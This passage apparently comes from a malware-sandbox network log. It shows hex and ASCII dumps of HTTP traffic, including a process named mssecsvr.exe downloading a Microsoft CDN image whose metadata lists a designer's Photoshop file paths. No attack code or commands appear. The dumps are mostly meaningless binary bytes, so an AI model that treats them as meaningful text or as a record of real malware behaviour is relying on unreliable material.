f8 8f c4 cc c1 9b 4f b1 ff 00 8f 0b 76 5e 59 59 8f 32 90 78 38 c2 e7 d6 b1 3c 4d ac 5d eb b7 8a f3 bb 32 a2 ed 58 d7 ee 28 ec 02 f4 02 bd c7 c6 3a 2d a7 8e 96 57 96 e5 a2 d5 e2 f9 20 82 3c 32 2a 75 cb ff 00 bc dc 0c 57 93 c7 e0 0f Data Ascii: ~0]#O'<yJ8M9IK[S.!KmX]W@>$s:[[/kG<pEn?$Yc4Ze8?s_V\|__x]K;Qee"K[u"AD>^~gS&9?ezOv^YY2x8<M]2X(:-W <2*uW
2022-07-20 07:08:24 UTC	3567	IN	Data Raw: 6c 7b fc aa 47 de ed 55 75 bf 0c e9 7e 26 fb 1a 5f eb 53 de 2b 2e e8 20 f2 11 1a dd 0f 4f 9f be 4e 78 3d 29 6d b0 cd 4f 86 fe 22 93 c4 11 df 45 aa c5 04 f6 7b 4f 91 3a ae e5 56 1f 79 58 76 52 39 06 b8 3f 13 7c 21 f1 06 9e a9 aa 41 a5 34 ba 4d cb 79 91 79 0d b9 d5 4f 4c af 61 5d 14 3e 22 f1 0f c3 58 d5 ed 2d a0 d4 34 dd de 5a dd b2 fe fd 53 b0 71 dd 47 ae 2b db 3c 1f e2 c8 3c 40 d0 59 1b 6b 9d 3e ea 66 0b 3d b4 8b e6 da cd 1b 0c e4 63 ee fd 45 1a a7 74 1d 0f 95 2c fc 01 a8 eb 17 9f 66 b7 b1 9d a7 da 5b 6f 96 7e 55 1d 49 f4 03 b9 a6 6b 1f 0b 75 bd 2d 99 0d 9c 8c cb 8f f5 78 75 e4 67 b5 7d 97 e3 28 7c 35 0f 9e 04 0d 2d d2 a2 44 b3 c1 3b 23 c7 d8 0d c3 d3 f1 15 e6 7a 85 9f fc 23 17 0d 1d ee d9 f4 bb c8 f7 49 26 ef 99 71 e8 47 f1 e7 b8 aa 72 7b 92 9d cf 95 9b Data Ascii: l{GUu~&_S+. ONx=)mO"E{O:VyXvR9?\|!A4MyyOLa]>"X-4ZSqG+<<@Yk>f=cEt,f[o~UIku-xug}(\|5-D;#z#I&qGr{
2022-07-20 07:08:24 UTC	3583	IN	Data Raw: dd 51 c1 de ca ff 00 30 e7 e6 1c 62 b2 ef 3c 59 e3 2b ef 3f c1 df 61 69 e2 fb 48 f3 60 d3 e0 d9 2b 49 16 40 2a 48 ca 95 c1 c2 fd 78 ad 3d 7b e2 47 86 fc 61 e1 dd 22 cf 4f f0 ac 91 78 82 d2 29 1b 50 d5 a0 96 49 5b 50 ee 26 74 1c c4 ea bc 31 1c 7f 15 73 da 7f 89 2e 75 2f 13 59 cf 3e ab 27 87 a0 97 64 1f da 56 31 fc 9b 7e ef 9c ea 3a 9f ef 11 f7 ba e2 86 fc c7 a6 c8 d6 82 df c4 3e 20 d1 e7 d4 6f 34 cf ed ad 11 64 b7 b6 6d 51 76 22 da b9 f9 53 ed 01 78 8d 8a f1 b9 b1 eb 9a af e2 7b 5d 3f c1 5a 85 f6 97 2c 1f 69 82 26 1f 61 d5 2d a4 78 25 8d 41 ce 41 56 20 f1 95 c1 2c 0f 50 7b d6 66 a5 a2 ea 7e 1f d7 af 25 ff 00 84 95 67 96 69 1e d9 af ad 18 ec ba 8c 70 72 38 dc 08 e7 04 73 5a 1a 37 87 99 bf b5 ed 2c f5 3b 6f 12 e9 76 b1 3b 6d b6 5d d7 30 c2 08 26 68 03 e3 91 Data Ascii: Q0b<Y+?aiH`+I@*Hx={Ga"Ox)PI[P&t1s.u/Y>'dV1~:> o4dmQv"Sx{]?Z,i&a-x%AAV ,P{f~%gipr8sZ7,;ov;m]0&h
2022-07-20 07:08:24 UTC	3599	IN	Data Raw: 89 59 8b ba da 46 59 77 9f 56 e8 31 5d c6 97 f0 9f fb 1d 7c ef 10 6b 96 9a 3c cb f3 45 a7 da 2f db 2e 59 be 80 85 52 3d cd 72 fe 1f f1 66 b1 a5 e8 ff 00 d9 76 ba f2 ff 00 67 72 b1 43 0c 5b 37 64 ff 00 16 3a 9a f7 8f 86 36 bf 0c 2f bc 2b 2b ea be 2a 9f 43 ba f2 e4 b6 bd b6 9e d2 39 6e 6e 3c c1 f3 32 c8 df 30 03 a0 e9 8a ca b7 3c 6e b9 94 20 bb 26 db fb ec 97 f5 a8 a1 49 49 fb d2 49 1e 73 a0 fc 35 d5 7c 52 d1 6a f1 2b 4f a5 dd 79 92 41 ac 6a cd e5 45 34 71 fd e9 07 24 b0 1d 38 ce 4f 02 b9 10 fa ef 8a bc 49 fd 8d e1 3d 43 56 57 59 f6 cb 3e 93 60 f2 4e cc 9f 77 66 d3 eb db 35 f4 be ad f1 2b e0 96 9f 6b a7 d8 1d 3e f7 c5 51 69 96 d1 da 5a 2d ec e5 52 34 4f ba 02 26 3b f3 f5 ad 5b 9f 8f fa f3 d8 dc e9 de 1c d0 e0 f0 65 9e dd ac d0 c0 91 4a c0 8e d8 e7 91 dc f3 Data Ascii: YFYwV1]\|k<E/.YR=rfvgrC[7d:6/++*C9nn<20<n &IIIs5\|Rj+OyAjE4q$8OI=CVWY>`Nwf5+k>QiZ-R4O&;[eJ
2022-07-20 07:08:24 UTC	3607	IN	Data Raw: ae 97 6b a2 df 5f e9 d6 d3 d8 ea 8c c6 59 15 64 3e 54 dc e4 ed 5f e1 3f 9f e1 5e 99 32 5c ff 00 68 4b 73 6d 79 ea ad 1c 1f 2a b2 9e d8 ce 18 d7 15 e3 ab 5b cb cd 0e f3 cb 9e 35 f2 18 ca ca cd b7 a7 07 24 7d d1 ea 29 a7 a9 4e 3a 05 9d c4 1a d7 83 6c 6d b5 9d 4d 6f ae ad 73 e5 b2 b2 b3 42 cc 01 31 3a 00 0f b8 3d 3d 2b 33 c5 50 a5 f5 f2 9b b5 b9 8e f2 da ca 49 e2 bc d3 fe 55 ba 6e 32 59 cf a7 ca d8 3d 7f 1a e6 ec f5 49 fc 51 35 8e af 16 99 f6 3b a8 22 fb 1b 7d 99 5f f7 db 4f c8 c3 8d b9 fc f3 58 da d7 8f 35 8d 6a eb 4c d1 ae fc bd 16 28 b7 db 4b 3c 71 95 66 47 38 6f 33 1f 79 7f 0e 2a a3 16 b4 46 27 aa 78 2f 5c d6 7c 67 e1 b8 9f 59 65 8a e2 48 83 69 fa b3 28 db 70 8b c1 8e 40 31 b9 94 f4 6c 64 7b d6 e6 b7 e0 38 3c 49 6b 7c f7 2b 1a ea d7 96 c2 29 e7 8e 42 f1 Data Ascii: k_Yd>T_?^2\hKsmy[5$})N:lmMosB1:==+3PIUn2Y=IQ5;"}_OX5jL(K<qfG8o3yF'x/\\|gYeHi(p@1ld{8<Ik\|+)B
2022-07-20 07:08:24 UTC	3623	IN	Data Raw: 78 c9 e2 b2 75 8d 3e cf 52 b8 8b 55 b7 d6 96 ce c9 7f d4 2a a9 fb 4c 6d df 11 f1 94 07 ae 0e 46 ee 86 b7 e0 d5 34 bd 56 c7 4f d5 3c 4d a4 49 ae 58 c5 e6 5b 4f 73 62 db 24 ce c3 b7 d7 f8 b6 9e 7b 66 84 d5 81 b3 9d b9 d4 0f 88 bc 2b 3b eb 3a 9a ae ae d7 21 a3 66 f3 1e 7b 85 c6 0a b6 0e cd a0 f2 32 37 67 bd 56 f0 ae 8f 65 fd a4 d6 92 4b 69 73 24 eb e4 79 1a 96 6d 9a 36 27 ae e6 fb a4 1f e2 ed 5b 9e 0f b7 d1 35 2d 62 2b 9b bf 0f 5c cb e1 f5 90 45 76 b6 32 23 3e ec 71 b4 b1 0d 92 df 90 fa 52 78 bb 4c b8 d6 3c 60 d0 45 e1 cb e8 ad e4 94 f9 5a 4e d9 9a 5b 7e 7e e8 91 fe 66 04 73 d6 96 bb 93 75 6b 12 6a b6 3a 46 8b e5 44 6f 97 53 bd 87 f7 57 7a 26 ad 6c 7c d8 58 33 6e 11 4a 87 12 26 07 04 11 54 ee 7c 03 67 af 49 a5 5b f8 49 67 b9 d4 6e b3 e6 c6 cd b1 61 ef b4 ef Data Ascii: xu>RU*LmF4VO<MIX[Osb${f+;:!f{27gVeKis$ym6'[5-b+\Ev2#>qRxL<`EZN[~~fsukj:FDoSWz&l\|X3nJ&T\|gI[Igna
2022-07-20 07:08:25 UTC	7671	IN	Data Raw: d6 b5 6e c4 5b 0f 9b 3f ed 1e 86 b9 7d 47 c4 3e 25 f8 33 75 6c fe 0c b9 dd 26 a1 3b c7 7d ad f9 e3 fe 26 4e 1f 80 0e 4e c5 46 f9 4a ff 00 17 5c 56 57 84 fc 01 1f 83 35 44 bb d4 22 8f 59 f1 45 f4 be 6d f5 ed f2 89 d1 59 8e e3 1c 68 c3 03 dd 8e 49 f6 af 6f 30 a3 41 49 55 c7 6a 9a 56 51 95 b9 b4 bb bf 64 b4 ea 76 d5 ad 18 6a c6 78 8b 5a b3 f1 06 b9 73 af ea 77 33 eb 97 57 2a 6e e3 b9 81 8f fa 63 9e b1 ac 63 e6 1c e0 64 fe bd 2b e9 ef 82 bf b3 de 99 e2 af 80 72 5e ea 69 3e 95 e2 b9 18 de 32 f9 7f 34 69 b4 ed 83 63 1d db 7d cf 35 e3 7e 0f f8 5b a2 69 bf 14 b5 3b d5 d5 6e e7 d5 20 53 73 69 6c d0 84 82 35 72 49 55 e7 25 94 74 27 8f 6e 05 7a 96 a5 0f 88 34 af 0b ea b2 f8 5e f2 78 b5 c9 23 f3 23 91 6e 7c b7 d8 bc b8 5c 9f 99 f6 f4 5e f5 e1 66 79 9e 1b 11 3a 58 3c Data Ascii: n[?}G>%3ul&;}&NNFJ\VW5D"YEmYhIo0AIUjVQdvjxZsw3W*nccd+r^i>24ic}5~[i;n Ssil5rIU%t'nz4^x##n\|\^fy:X<
2022-07-20 07:08:25 UTC	7678	IN	Data Raw: 5f 98 1e 55 bf bd ed 4e e3 48 b9 e2 ed 27 4e f1 fe 8e da 76 a3 73 f6 69 57 3f 64 bb 9f e6 78 dd 47 00 f7 20 ff 00 2a f9 8f 5a d1 ee fc 3f aa 5c d8 5d af 95 75 6d 21 8e 45 fb cb b8 7a 7a 8a fa 72 4d 37 fb 26 36 8a e2 08 e0 f9 52 46 66 93 74 b1 b1 e4 ee 1d 0d 5e bc f8 45 6b e3 ef 0f fd a2 48 a3 fb 3c 6c 22 83 c8 c2 ca ab dd b3 ed ef d6 aa 2d 47 72 7c 91 f2 34 77 52 43 32 4f 14 8d 04 f1 b6 e5 92 36 da ca de a0 8e 86 bd 07 c2 77 5e 2c f8 a1 e2 cd 3e c3 4f 9d be d8 aa 90 41 1c 6c 55 21 40 11 58 ed 19 ca e1 77 37 a9 c9 aa bf 11 be 0d eb ff 00 0f 5a 5b 99 e0 fb 4e 93 e6 6d 8f 50 83 ee 73 d3 70 ea 87 eb 5c d7 84 bc 5b a9 78 1f 5c 83 57 d2 ae 7e cd 7b 06 55 5b ef 2b 23 0d ac ac 3b a9 07 04 56 a9 a9 2d 07 d6 ed 1e 95 f1 a3 e0 0e b3 e0 7d 42 4b d4 95 75 3b 59 7e 69 Data Ascii: _UNH'NvsiW?dxG *Z?\]um!EzzrM7&6RFft^EkH<l"-Gr\|4wRC2O6w^,>OAlU!@Xw7Z[NmPsp\[x\W~{U[+#;V-}BKu;Y~i

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	50724	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:24 UTC	352	OUT	GET /cms/api/am/imageFileData/RE4ZULl?ver=f222 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 07:08:24 UTC	385	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4ZULl?ver=f222 Last-Modified: Fri, 08 Jul 2022 14:45:14 GMT X-Source-Length: 1702386 X-Datacenter: northeu X-ActivityId: 41f23aba-64bf-45f2-9ad4-b26589fc2130 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1702386 Cache-Control: public, max-age=200327 Expires: Fri, 22 Jul 2022 14:47:11 GMT Date: Wed, 20 Jul 2022 07:08:24 GMT Connection: close
2022-07-20 07:08:24 UTC	386	IN	Data Raw: ff d8 ff e1 18 94 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 33 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 36 3a 31 35 20 31 33 3a 33 38 3a 33 36 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 23.3 (Windows)2022:06:15 13:38:368"
2022-07-20 07:08:24 UTC	439	IN	Data Raw: 40 fa 8c 6d ef 83 1b 44 c4 34 89 ed b7 e8 b9 07 ed 6e b6 a7 b3 21 ef c8 78 69 7b 2d 71 21 c2 c8 27 73 bf 7f dc cf ce 5d 0e 7e 17 d4 6a 19 ea 61 d9 91 92 f2 d0 c7 54 6c 0c 3a 7d 17 b4 b9 8d f7 7b bf 39 64 e3 3f a2 51 98 6c bb 12 cb f1 81 96 d2 2c 2d 78 83 f4 5c ff 00 d2 d7 63 53 bd 92 35 d1 61 cf 1f 16 96 3d d6 69 5d 63 5b 06 a4 0d 64 80 7f ef eb 6b ea fe 03 86 68 39 56 57 40 05 96 1a ed 78 6b c8 6f d2 da df de 56 2d eb fd 22 83 5d 9d 13 a7 d7 41 6f b8 b6 d6 b3 7b 48 e3 e9 7a ae 73 7f a8 e5 93 d4 fa a6 6f 54 bc df 92 65 c6 20 00 20 00 3f 37 44 46 38 c6 8d d9 ec 18 a7 9e f4 0f 43 d7 ec c0 b0 1c 8a ef 63 8b cc 0d a6 60 83 ee 96 56 3e 9f f5 d6 1b 6d 1e 32 16 78 dc 0c a9 b5 e4 21 3d 7a 53 58 ea 6d d2 19 6f 60 da 0c b7 c1 4e ac b8 32 d3 23 cb 90 b3 9a ff 00 12 Data Ascii: @mD4n!xi{-q!'s]~jaTl:}{9d?Ql,-x\cS5a=i]c[dkh9VW@xkoV-"]Ao{HzsoTe ?7DF8Cc`V>m2x!=zSXmo`N2#
2022-07-20 07:08:24 UTC	455	IN	Data Raw: 6e 5c 43 72 6f 70 73 5c 42 69 6e 67 2d 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 38 38 30 38 36 30 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 30 54 31 35 3a 34 30 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 2d 4f 6c 79 6d 70 69 63 73 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 42 69 6e 67 2d 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 39 30 37 31 39 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 30 54 31 35 3a 34 33 3a 31 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 Data Ascii: n\Crops\Bing-Olympics_GettyImages-78808607_1920x1080.jpg saved 2016-07-20T15:40:51-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing-Olympics\Chosen\Crops\Bing-Olympics_GettyImages-179071963_1920x1080.jpg saved 2016-07-20T15:43:16-07:00 File
2022-07-20 07:08:24 UTC	490	IN	Data Raw: 2d 31 31 33 31 34 39 32 31 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 31 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 35 33 34 31 36 30 30 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 33 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 Data Ascii: -113149214_1920x1080.jpg saved 2016-07-26T11:01:31-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_shutterstock_353416007_1920x1080.jpg saved 2016-07-26T11:03:03-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Ed
2022-07-20 07:08:24 UTC	538	IN	Data Raw: 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 46 61 6c 6c 54 56 5c 46 61 6c 6c 54 56 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 32 36 31 30 33 32 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 33 54 31 32 3a 32 33 3a 34 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 Data Ascii: :\Users\v-lizagh\MS\Windows10\FallTV\FallTV_GettyImages-562610323_1920x1080.jpg saved 2016-09-13T12:23:49-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30D
2022-07-20 07:08:24 UTC	594	IN	Data Raw: 36 44 41 38 37 32 38 38 34 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 32 32 3a 30 38 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 34 39 43 45 36 31 41 33 35 44 34 38 32 35 42 30 39 39 42 36 34 30 30 33 36 44 41 38 37 32 38 38 34 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 32 32 3a 31 35 3a 33 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 Data Ascii: 6DA872884.psb saved 2016-11-10T22:08:53-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape49CE61A35D4825B099B640036DA872884.psb saved 2016-11-10T22:15:33-08:00 File C:\U
2022-07-20 07:08:24 UTC	678	IN	Data Raw: 39 32 38 38 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 34 3a 35 31 3a 32 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 32 32 39 33 38 35 39 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 34 3a 35 32 3a 32 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e Data Ascii: 92886_1920x1080.jpg saved 2016-11-23T14:51:29-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_Skype_GettyImages-522938595_1920x1080.jpg saved 2016-11-23T14:52:21-08:00 File C:\Users\v-lizagh\MS\Win
2022-07-20 07:08:24 UTC	766	IN	Data Raw: 63 61 70 65 31 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 30 39 3a 31 35 3a 31 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 31 39 33 34 43 42 46 36 32 35 32 35 45 33 37 32 35 46 34 41 45 44 35 43 43 41 43 31 33 43 45 43 31 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 30 39 3a 33 31 3a 32 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 Data Ascii: cape1.psd saved 2017-01-30T09:15:12-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape1934CBF62525E3725F4AED5CCAC13CEC1.psb saved 2017-01-30T09:31:26-08:00 File C:\Users
2022-07-20 07:08:24 UTC	789	IN	Data Raw: 3b 32 30 31 37 2d 30 32 2d 32 36 54 30 39 3a 30 33 3a 34 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 70 65 63 69 61 6c 4f 6c 79 6d 70 69 63 73 5c 43 48 4f 53 45 4e 5c 53 70 65 63 69 61 6c 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 37 37 37 32 31 35 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 36 54 30 39 3a 32 33 3a 33 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 53 70 65 63 69 61 6c 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 37 37 37 32 31 35 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d Data Ascii: ;2017-02-26T09:03:43-08:00 File C:\Users\v-lizagh\MS\Windows10\SpecialOlympics\CHOSEN\SpecialOlympics_GettyImages-177772152_1920x1080.psd saved 2017-02-26T09:23:38-08:00 File SpecialOlympics_GettyImages-177772152_1920x1080.psd opened 2017-
2022-07-20 07:08:24 UTC	885	IN	Data Raw: 31 35 54 31 36 3a 32 33 3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 49 6e 6b 50 65 6e 5c 43 48 4f 53 45 4e 5c 53 75 72 66 61 63 65 2d 49 6e 6b 50 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 30 34 36 38 31 34 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 35 54 31 36 3a 32 33 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f Data Ascii: 15T16:23:47-07:00 File C:\Users\v-lizagh\MS\Windows10\Surface\InkPen\CHOSEN\Surface-InkPen_GettyImages-590468141_1920x1080.jpg saved 2017-03-15T16:23:58-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_
2022-07-20 07:08:24 UTC	988	IN	Data Raw: 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 6d 70 6f 77 65 72 69 6e 67 43 6c 61 73 73 72 6f 6f 6d 54 6f 6f 6c 73 5c 43 48 4f 53 45 4e 5c 45 6d 70 6f 77 65 72 69 6e 67 54 6f 6f 6c 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 32 35 32 36 36 32 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 38 54 31 30 3a 35 39 3a 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 6d 70 6f 77 65 72 69 6e 67 43 6c 61 73 73 72 6f 6f 6d 54 6f 6f 6c 73 5c Data Ascii: :54-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\EmpoweringClassroomTools\CHOSEN\EmpoweringTools_GettyImages-512526623_1920x1080.jpg saved 2017-04-18T10:59:11-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\EmpoweringClassroomTools\
2022-07-20 07:08:24 UTC	1020	IN	Data Raw: 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 42 41 5c 4d 61 79 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 42 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 30 34 37 31 33 32 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 35 3a 30 34 3a 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 42 41 5c 4d 61 79 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 